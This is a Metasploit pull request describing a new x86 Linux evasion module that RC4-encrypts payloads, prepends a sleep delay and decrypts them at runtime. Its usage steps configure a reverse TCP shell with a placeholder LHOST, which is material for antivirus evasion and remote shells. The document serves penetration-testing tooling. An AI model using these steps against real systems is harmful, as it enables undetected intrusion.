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adding RC4 packer x86, rc4 decrypt routine and sleep evasion routine#20965

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litemars:add_Linux_evasion_module-rc4_packer_x86
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adding RC4 packer x86, rc4 decrypt routine and sleep evasion routine#20965
litemars wants to merge 2 commits intorapid7:masterfrom
litemars:add_Linux_evasion_module-rc4_packer_x86

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@litemars litemars commented Feb 12, 2026

Description

This PR introduces an x86 Linux payload packer that encrypts the generated payload with RC4, prepends an optional sleep-based delay (nanosleep), and decrypts/executes the payload at runtime via a compact precompiled stub.

What’s included

  • x86 RC4 packer (Evasion Linux Module)
  • x86 sleep evasion prepend (Mixin)
  • x86 RC4 decryption stub (Mixin)

### How to use it - BASIC

  • use evasion/linux/x86_rc4_packer
  • set payload linux/x86/shell_reverse_tcp
  • set LHOST x.x.x.x
  • run

Optional

  • set SLEEP_TIME x

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